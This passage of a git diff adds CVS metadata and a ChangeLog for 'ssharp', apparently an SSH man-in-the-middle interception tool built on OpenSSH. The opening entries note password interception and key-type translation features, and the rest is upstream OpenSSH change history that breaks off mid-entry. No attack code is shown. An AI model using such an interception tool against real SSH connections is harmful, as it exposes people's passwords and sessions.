b/other/ssharp/CVS/Entries new file mode 100644 index 0000000..503a4bc --- /dev/null +++ b/other/ssharp/CVS/Entries @@ -0,0 +1,204 @@ +/CREDITS/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ChangeLog/1.3/Fri May 10 22:24:35 2002//Trel-0-51 +/INSTALL/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/LICENCE/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/Makefile.in/1.4/Sun May 5 12:32:07 2002//Trel-0-51 +/OVERVIEW/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/README/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/README.ssharp/1.11/Thu Nov 6 12:22:27 2003//Trel-0-51 +/RFC.nroff/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/TODO/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/TODO.ssharp/1.2/Sat Jul 27 16:40:45 2002//Trel-0-51 +/WARNING.RNG/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/acconfig.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/aclocal.m4/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/atomicio.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/atomicio.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth-chall.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth-krb4.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth-options.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth-options.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth-pam.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth-pam.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth-passwd.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth-rsa.c/1.3/Sun May 5 12:32:07 2002//Trel-0-51 +/auth-sia.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth-sia.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth.h/1.4/Sun May 5 12:32:07 2002//Trel-0-51 +/auth1.c/1.3/Sun May 5 12:32:07 2002//Trel-0-51 +/auth2-chall.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth2-pam.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth2-pam.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/auth2.c/1.2/Thu Sep 20 11:33:41 2001//Trel-0-51 +/authfd.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/authfd.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/authfile.c/1.3/Sun May 5 12:32:07 2002//Trel-0-51 +/authfile.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bufaux.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/bufaux.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/buffer.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/buffer.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/canohost.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/canohost.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/channels.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/channels.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/cipher.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/cipher.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/cli.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/cli.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/clientloop.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/clientloop.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/compat.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/compat.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/compress.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/compress.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/config.guess/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/config.h.in/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/config.sub/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/configure/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/configure.in/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/crc32.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/crc32.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/deattack.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/deattack.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/defines.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/dh.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/dh.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/dispatch.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/dispatch.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/entropy.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/entropy.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fixpaths/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/fixprogs/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/getput.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/groupaccess.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/groupaccess.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/hostfile.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/hostfile.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/includes.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/install-sh/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/kex.c/1.4/Fri Jul 25 16:44:40 2003//Trel-0-51 +/kex.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/kexdh.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/kexgex.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/key.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/key.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/log.c/1.2/Sun May 5 12:32:07 2002//Trel-0-51 +/log.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/loginrec.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/loginrec.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/logintest.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/mac.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/mac.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/match.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/match.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/md5crypt.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/md5crypt.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/mdoc2man.pl/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/misc.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/misc.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/mkinstalldirs/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/mpaux.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/mpaux.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/myproposal.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/nchan.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/nchan.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/nchan.ms/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/nchan2.ms/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/netfilter.h/1.1/Wed Sep 19 16:08:50 2001//Trel-0-51 +/packet.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/packet.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/pathnames.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/primes/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/radix.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/radix.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/readconf.c/1.2/Mon Nov 5 11:48:15 2001//Trel-0-51 +/readconf.h/1.2/Mon Nov 5 11:48:15 2001//Trel-0-51 +/readpass.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/readpass.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/rijndael.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/rijndael.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/rsa.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/rsa.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/scp-common.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/scp-common.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/scp.0/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/scp.1/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/scp.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/servconf.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/servconf.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/serverloop.c/1.2/Thu Sep 20 11:33:41 2001//Trel-0-51 +/serverloop.h/1.2/Thu Sep 20 11:33:41 2001//Trel-0-51 +/session.c/1.9/Fri Jul 25 16:44:40 2003//Trel-0-51 +/session.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-client.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-client.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-common.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-common.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-glob.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-glob.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-int.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-int.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-server.0/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-server.8/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp-server.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp.0/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp.1/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sftp.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sharpterms.pl/1.2/Thu Jul 18 17:40:57 2002//Trel-0-51 +/ssh-add.0/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-add.1/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-add.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-agent.0/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-agent.1/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-agent.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-dss.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-dss.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-keygen.0/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-keygen.1/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-keygen.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-keyscan.0/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-keyscan.1/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-keyscan.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-rsa.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-rsa.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh-walk/1.1/Sat May 11 21:32:05 2002//Trel-0-51 +/ssh.0/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh.1/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh.c/1.5/Fri May 10 22:24:35 2002//Trel-0-51 +/ssh.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh1.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh2.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh_config/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssh_prng_cmds.in/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ssharp.c/1.5/Fri May 10 22:24:35 2002//Trel-0-51 +/ssharp.h/1.7/Sat Mar 27 13:47:49 2004//Trel-0-51 +/sshconnect.c/1.3/Wed Sep 26 16:03:09 2001//Trel-0-51 +/sshconnect.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshconnect1.c/1.2/Mon Nov 5 11:48:15 2001//Trel-0-51 +/sshconnect2.c/1.2/Wed Sep 19 16:08:50 2001//Trel-0-51 +/sshd.0/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.8/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshd.c/1.12/Sat Mar 27 13:47:49 2004//Trel-0-51 +/sshd_config/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshlogin.c/1.2/Sat Oct 27 21:00:44 2001//Trel-0-51 +/sshlogin.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshpty.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshpty.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshtty.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/sshtty.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/tildexpand.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/tildexpand.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ttymodes.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/ttymodes.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/uidswap.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/uidswap.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/uuencode.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/uuencode.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/version.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/xmalloc.c/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/xmalloc.h/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +D/contrib//// +D/openbsd-compat//// diff --git a/other/ssharp/CVS/Repository b/other/ssharp/CVS/Repository new file mode 100644 index 0000000..e8647fd --- /dev/null +++ b/other/ssharp/CVS/Repository @@ -0,0 +1 @@ +ssharp diff --git a/other/ssharp/CVS/Root b/other/ssharp/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/ssharp/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/ssharp/CVS/Tag b/other/ssharp/CVS/Tag new file mode 100644 index 0000000..00329bf --- /dev/null +++ b/other/ssharp/CVS/Tag @@ -0,0 +1 @@ +Nrel-0-51 diff --git a/other/ssharp/ChangeLog b/other/ssharp/ChangeLog new file mode 100644 index 0000000..ccc3980 --- /dev/null +++ b/other/ssharp/ChangeLog @@ -0,0 +1,5288 @@ +Stealth: + +- version 0.4 + Now MiM also works the ssh-dss<->ssh-rsa way. New hack! + +- version 0.33 + tagged it to ensure it works. I tested it and it worked ;-) + Some minor code cleanups. + +- version 0.31 works with passwd-MiM. + c/r MiM wont work with protocol translation. + versions > 0.31 are experimental. + +20010429 + - (bal) Updated INSTALL. PCRE moved to a new place. + - (djm) Add Theo Schlossnagle's SecurID patch to contrib/ + - (djm) Release 2.9p1 + +20010427 + - (bal) Fixed uidswap.c so it should work on non-posix complient systems. + patch based on 2.5.2 version by djm. + - (bal) Build manpages and config files once unless changed. Patch by + Carson Gaspar + - (bal) arpa/nameser.h does not exist on Cygwin. Patch by Corinna + Vinschen + - (bal) Add /etc/sysconfig/sshd support to redhat's sshd.init. Patch by + Pekka Savola + - (bal) Cygwin lacks setgroups() API. Patch by Corinna Vinschen + + - (bal) version.h synced, RPM specs updated for 2.9 + - (tim) update contrib/caldera files with what Caldera is using. + + +20010425 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/04/23 21:57:07 + [ssh-keygen.1 ssh-keygen.c] + allow public key for -e, too + - markus@cvs.openbsd.org 2001/04/23 22:14:13 + [ssh-keygen.c] + remove debug + - (bal) Whitespace resync w/ OpenBSD for uidswap.c + - (djm) Add new server configuration directive 'PAMAuthenticationViaKbdInt' + (default: off), implies KbdInteractiveAuthentication. Suggestion from + markus@ + - (djm) Include crypt.h if available in auth-passwd.c + - tim@mindrot.org 2001/04/25 21:38:01 [configure.in] + man page detection fixes for SCO + +20010424 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/04/22 23:58:36 + [ssh-keygen.1 ssh.1 sshd.8] + document hostbased and other cleanup + - (stevesk) start_pam() doesn't use DNS now for sshd -u0. + - (stevesk) auth-pam.c: use PERMIT_NO_PASSWD + - (bal) sys/queue.h is bogus for NCR platform. Patch by Daniel Carroll + + - (bal) Fixed contrib/postinstall.in. Patch by wsanders@wsanders.net + +20010422 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/04/20 16:32:22 + [uidswap.c] + set non-privileged gid before uid; tholo@ and deraadt@ + - mouring@cvs.openbsd.org 2001/04/21 00:55:57 + [sftp.1] + Spelling + - djm@cvs.openbsd.org 2001/04/22 08:13:30 + [ssh.1] + typos spotted by stevesk@; ok deraadt@ + - markus@cvs.openbsd.org 2001/04/22 12:34:05 + [scp.c] + scp > 2GB; niles@scyld.com; ok deraadt@, djm@ + - markus@cvs.openbsd.org 2001/04/22 13:25:37 + [ssh-keygen.1 ssh-keygen.c] + rename arguments -x -> -e (export key), -X -> -i (import key) + xref draft-ietf-secsh-publickeyfile-01.txt + - markus@cvs.openbsd.org 2001/04/22 13:32:27 + [sftp-server.8 sftp.1 ssh.1 sshd.8] + xref draft-ietf-secsh-* + - markus@cvs.openbsd.org 2001/04/22 13:41:02 + [ssh-keygen.1 ssh-keygen.c] + style, noted by stevesk; sort flags in usage + +20010421 + - OpenBSD CVS Sync + - djm@cvs.openbsd.org 2001/04/20 07:17:51 + [clientloop.c ssh.1] + Split out and improve escape character documentation, mention ~R in + ~? help text; ok markus@ + - Update RPM spec files for CVS version.h + - (stevesk) set the default PAM service name to __progname instead + of the hard-coded value "sshd"; from Mark D. Roth + - (stevesk) document PAM service name change in INSTALL + - tim@mindrot.org 2001/04/21 14:25:57 [Makefile.in configure.in] + fix perl test, fix nroff test, fix Makefile to build outside source tree + +20010420 + - OpenBSD CVS Sync + - ian@cvs.openbsd.org 2001/04/18 16:21:05 + [ssh-keyscan.1] + Fix typo reported in PR/1779 + - markus@cvs.openbsd.org 2001/04/18 21:57:42 + [readpass.c ssh-add.c] + call askpass from ssh, too, based on work by roth@feep.net, ok deraadt + - markus@cvs.openbsd.org 2001/04/18 22:03:45 + [auth2.c sshconnect2.c] + use FDQN with trailing dot in the hostbased auth packets, ok deraadt@ + - markus@cvs.openbsd.org 2001/04/18 22:48:26 + [auth2.c] + no longer const + - markus@cvs.openbsd.org 2001/04/18 23:43:26 + [auth2.c compat.c sshconnect2.c] + more ssh v2 hostbased-auth interop: ssh.com >= 2.1.0 works now + (however the 2.1.0 server seems to work only if debug is enabled...) + - markus@cvs.openbsd.org 2001/04/18 23:44:51 + [authfile.c] + error->debug; noted by fries@ + - markus@cvs.openbsd.org 2001/04/19 00:05:11 + [auth2.c] + use local variable, no function call needed. + (btw, hostbased works now with ssh.com >= 2.0.13) + - (bal) Put scp-common.h back into scp.c (it exists in the upstream + tree) pointed out by Tom Holroyd + +20010418 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/04/17 19:34:25 + [session.c] + move auth_approval to do_authenticated(). + do_child(): nuke hostkeys from memory + don't source .ssh/rc for subsystems. + - markus@cvs.openbsd.org 2001/04/18 14:15:00 + [canohost.c] + debug->debug3 + - (bal) renabled 'catman-do:' and fixed it. So now catman pages should + be working again. + - (bal) Makfile day... Cleaned up multiple mantype support (Patch by + Mark D. Roth ), and fixed PIDDIR support. + +20010417 + - (bal) Add perl5 check for HP/UX, Removed GNUness from Makefile.in + and temporary commented out 'catman-do:' since it is broken. Patches + for the first two by Lutz Jaenicke + - OpenBSD CVS Sync + - deraadt@cvs.openbsd.org 2001/04/16 08:26:04 + [key.c] + better safe than sorry in later mods; yongari@kt-is.co.kr + - markus@cvs.openbsd.org 2001/04/17 08:14:01 + [sshconnect1.c] + check for key!=NULL, thanks to costa + - markus@cvs.openbsd.org 2001/04/17 09:52:48 + [clientloop.c] + handle EINTR/EAGAIN on read; ok deraadt@ + - markus@cvs.openbsd.org 2001/04/17 10:53:26 + [key.c key.h readconf.c readconf.h ssh.1 sshconnect2.c] + add HostKeyAlgorithms; based on patch from res@shore.net; ok provos@ + - markus@cvs.openbsd.org 2001/04/17 12:55:04 + [channels.c ssh.c] + undo socks5 and https support since they are not really used and + only bloat ssh. remove -D from usage(), since '-D' is experimental. + +20010416 + - OpenBSD CVS Sync + - stevesk@cvs.openbsd.org 2001/04/15 01:35:22 + [ttymodes.c] + fix comments + - markus@cvs.openbsd.org 2001/04/15 08:43:47 + [dh.c sftp-glob.c sftp-glob.h sftp-int.c sshconnect2.c sshd.c] + some unused variable and typos; from tomh@po.crl.go.jp + - markus@cvs.openbsd.org 2001/04/15 16:58:03 + [authfile.c ssh-keygen.c sshd.c] + don't use errno for key_{load,save}_private; discussion w/ solar@openwall + - markus@cvs.openbsd.org 2001/04/15 17:16:00 + [clientloop.c] + set stdin/out/err to nonblocking in SSH proto 1, too. suggested by ho@ + should fix some of the blocking problems for rsync over SSH-1 + - stevesk@cvs.openbsd.org 2001/04/15 19:41:21 + [sshd.8] + some ClientAlive cleanup; ok markus@ + - stevesk@cvs.openbsd.org 2001/04/15 21:28:35 + [readconf.c servconf.c] + use fatal() or error() vs. fprintf(); ok markus@ + - (djm) Convert mandoc manpages to man automatically. Patch from Mark D. + Roth + - (bal) CVS ID fix up and slight manpage fix from OpenBSD tree. + - (djm) OpenBSD CVS Sync + - mouring@cvs.openbsd.org 2001/04/16 02:31:44 + [scp.c sftp.c] + IPv6 support for sftp (which I bungled in my last patch) which is + borrowed from scp.c. Thanks to Markus@ for pointing it out. + - deraadt@cvs.openbsd.org 2001/04/16 08:05:34 + [xmalloc.c] + xrealloc dealing with ptr == nULL; mouring + - djm@cvs.openbsd.org 2001/04/16 08:19:31 + [session.c] + Split motd and hushlogin checks into seperate functions, helps for + portable. From Chris Adams ; ok markus@ + - Fix OSF SIA support displaying too much information for quiet + logins and logins where access was denied by SIA. Patch from Chris Adams + + +20010415 + - OpenBSD CVS Sync + - deraadt@cvs.openbsd.org 2001/04/14 04:31:01 + [ssh-add.c] + do not double free + - markus@cvs.openbsd.org 2001/04/14 16:17:14 + [channels.c] + remove some channels that are not appropriate for keepalive. + - markus@cvs.openbsd.org 2001/04/14 16:27:57 + [ssh-add.c] + use clear_pass instead of xfree() + - stevesk@cvs.openbsd.org 2001/04/14 16:33:20 + [clientloop.c packet.h session.c ssh.c ttymodes.c ttymodes.h] + protocol 2 tty modes support; ok markus@ + - stevesk@cvs.openbsd.org 2001/04/14 17:04:42 + [scp.c] + 'T' handling rcp/scp sync; ok markus@ + - Missed sshtty.[ch] in Sync. + +20010414 + - Sync with OpenBSD glob.c, strlcat.c and vis.c changes + - Cygwin sftp/sftp-server binary mode patch from Corinna Vinschen + + - OpenBSD CVS Sync + - beck@cvs.openbsd.org 2001/04/13 22:46:54 + [channels.c channels.h servconf.c servconf.h serverloop.c sshd.8] + Add options ClientAliveInterval and ClientAliveCountMax to sshd. + This gives the ability to do a "keepalive" via the encrypted channel + which can't be spoofed (unlike TCP keepalives). Useful for when you want + to use ssh connections to authenticate people for something, and know + relatively quickly when they are no longer authenticated. Disabled + by default (of course). ok markus@ + +20010413 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/04/12 14:29:09 + [ssh.c] + show debug output during option processing, report from + pekkas@netcore.fi + - markus@cvs.openbsd.org 2001/04/12 19:15:26 + [auth-rhosts.c auth.h auth2.c buffer.c canohost.c canohost.h + compat.c compat.h hostfile.c pathnames.h readconf.c readconf.h + servconf.c servconf.h ssh.c sshconnect.c sshconnect.h sshconnect1.c + sshconnect2.c sshd_config] + implement HostbasedAuthentication (= RhostRSAAuthentication for ssh v2) + similar to RhostRSAAuthentication unless you enable (the experimental) + HostbasedUsesNameFromPacketOnly option. please test. :) + - markus@cvs.openbsd.org 2001/04/12 19:39:27 + [readconf.c] + typo + - stevesk@cvs.openbsd.org 2001/04/12 20:09:38 + [misc.c misc.h readconf.c servconf.c ssh.c sshd.c] + robust port validation; ok markus@ jakob@ + - mouring@cvs.openbsd.org 2001/04/12 23:17:54 + [sftp-int.c sftp-int.h sftp.1 sftp.c] + Add support for: + sftp [user@]host[:file [file]] - Fetch remote file(s) + sftp [user@]host[:dir[/]] - Start in remote dir/ + OK deraadt@ + - stevesk@cvs.openbsd.org 2001/04/13 01:26:17 + [ssh.c] + missing \n in error message + - (bal) Added openbsd-compat/inet_ntop.[ch] since HP/UX (and others) + lack it. + +20010412 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/04/10 07:46:58 + [channels.c] + cleanup socks4 handling + - itojun@cvs.openbsd.org 2001/04/10 09:13:22 + [ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8] + document id_rsa{.pub,}. markus ok + - markus@cvs.openbsd.org 2001/04/10 12:15:23 + [channels.c] + debug cleanup + - djm@cvs.openbsd.org 2001/04/11 07:06:22 + [sftp-int.c] + 'mget' and 'mput' aliases; ok markus@ + - markus@cvs.openbsd.org 2001/04/11 10:59:01 + [ssh.c] + use strtol() for ports, thanks jakob@ + - markus@cvs.openbsd.org 2001/04/11 13:56:13 + [channels.c ssh.c] + https-connect and socks5 support. i feel so bad. + - lebel@cvs.openbsd.org 2001/04/11 16:25:30 + [sshd.8 sshd.c] + implement the -e option into sshd: + -e When this option is specified, sshd will send the output to the + standard error instead of the system log. + markus@ OK. + +20010410 + - OpenBSD CVS Sync + - deraadt@cvs.openbsd.org 2001/04/08 20:52:55 + [sftp.c] + do not modify an actual argv[] entry + - stevesk@cvs.openbsd.org 2001/04/08 23:28:27 + [sshd.8] + spelling + - stevesk@cvs.openbsd.org 2001/04/09 00:42:05 + [sftp.1] + spelling + - markus@cvs.openbsd.org 2001/04/09 15:12:23 + [ssh-add.c] + passphrase caching: ssh-add tries last passphrase, clears passphrase if + not successful and after last try. + based on discussions with espie@, jakob@, ... and code from jakob@ and + wolfgang@wsrcc.com + - markus@cvs.openbsd.org 2001/04/09 15:19:49 + [ssh-add.1] + ssh-add retries the last passphrase... + - stevesk@cvs.openbsd.org 2001/04/09 18:00:15 + [sshd.8] + ListenAddress mandoc from aaron@ + +20010409 + - (stevesk) use setresgid() for setegid() if needed + - (stevesk) configure.in: typo + - OpenBSD CVS Sync + - stevesk@cvs.openbsd.org 